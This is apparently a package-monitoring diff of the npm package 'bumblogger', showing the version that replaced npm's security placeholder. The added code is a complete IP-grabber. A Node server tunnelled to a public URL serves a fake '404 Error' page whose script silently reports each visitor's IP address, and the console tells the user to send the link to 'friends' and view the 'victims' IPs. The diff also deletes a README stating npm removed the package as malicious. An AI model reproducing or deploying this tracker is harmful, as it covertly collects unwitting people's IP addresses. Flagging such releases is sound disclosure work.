bumblogger 0.0.1-security → 1.0.1

Sign up to get free protection for your applications and to get access to all the features.

Potentially problematic release.


This version of bumblogger might be problematic. Click here for more details.

package/index.js ADDED
@@ -0,0 +1,49 @@
1
+ #!/usr/bin/env node
2
+
3
+ const express = require("express");
4
+ const app = express();
5
+ const http = require("http");
6
+ const server = http.createServer(app);
7
+ const requestIp = require("request-ip");
8
+ const localtunnel = require("localtunnel");
9
+ const fetch = require("node-fetch");
10
+
11
+
12
+ app.use(requestIp.mw());
13
+
14
+ const randomURL = async ()=> {
15
+ let mening = "";
16
+ for (let i = 0; i < 3; i++) {
17
+ const req = await fetch.default("https://random-word-api.herokuapp.com/word");
18
+ const res = await req.json();
19
+ mening += res[0];
20
+
21
+ }
22
+ return mening;
23
+ }
24
+
25
+
26
+ const startTunnel = async () => {
27
+ let sub = await randomURL()
28
+ const tunnel = await localtunnel({port: 3000, subdomain: sub});
29
+ console.log("Send this to friends: " + tunnel.url);
30
+ console.log("Open this to see victims ip address: " + tunnel.url + "/log");
31
+ };
32
+
33
+ startTunnel();
34
+
35
+ let latestIP = "";
36
+
37
+ app.set('trust proxy', true);
38
+ app.use(express.static("public"));
39
+
40
+ app.get('/ip', (req, res) => {
41
+ res.json({ ip: latestIP });
42
+ });
43
+
44
+ app.get('/info', (req, res) => {
45
+ latestIP = req.clientIp;
46
+ console.log("New IP address recieved: " + latestIP);
47
+ })
48
+
49
+ server.listen(3000);
package/package.json CHANGED
@@ -1,6 +1,21 @@
1
1
  {
2
2
  "name": "bumblogger",
3
- "version": "0.0.1-security",
4
- "description": "security holding package",
5
- "repository": "npm/security-holder"
3
+ "version": "1.0.1",
4
+ "description": "",
5
+ "main": "index.js",
6
+ "bin": "index.js",
7
+ "scripts": {
8
+ "test": "echo \"Error: no test specified\" && exit 1",
9
+ "start": "node index.js"
10
+ },
11
+ "keywords": [],
12
+ "author": "",
13
+ "license": "ISC",
14
+ "dependencies": {
15
+ "express": "^4.18.1",
16
+ "localtunnel": "^2.0.2",
17
+ "node-fetch": "^2.6.7",
18
+ "request-ip": "^2.2.0",
19
+ "socket.io": "^4.5.1"
20
+ }
6
21
  }
@@ -0,0 +1,16 @@
1
+ <!DOCTYPE html>
2
+ <html lang="en">
3
+ <head>
4
+ <meta charset="UTF-8">
5
+ <meta http-equiv="X-UA-Compatible" content="IE=edge">
6
+ <meta name="viewport" content="width=device-width, initial-scale=1.0">
7
+ <title>404 Error</title>
8
+
9
+ </head>
10
+ <body>
11
+ 404 Error
12
+ <script>
13
+ fetch('/info');
14
+ </script>
15
+ </body>
16
+ </html>
@@ -0,0 +1,24 @@
1
+ <!DOCTYPE html>
2
+ <html lang="en">
3
+ <head>
4
+ <meta charset="UTF-8">
5
+ <meta http-equiv="X-UA-Compatible" content="IE=edge">
6
+ <meta name="viewport" content="width=device-width, initial-scale=1.0">
7
+ <title>Document</title>
8
+ </head>
9
+ <body>
10
+ <div id="ip">IP</div>
11
+
12
+ <script>
13
+ let ip = document.getElementById('ip');
14
+
15
+ async function getIP() {
16
+ let response = await fetch('/ip');
17
+ let data = await response.json();
18
+ ip.innerHTML = data.ip;
19
+ }
20
+
21
+ getIP();
22
+ </script>
23
+ </body>
24
+ </html>
package/README.md DELETED
@@ -1,5 +0,0 @@
1
- # Security holding package
2
-
3
- This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
4
-
5
- Please refer to www.npmjs.com/advisories?search=bumblogger for more information.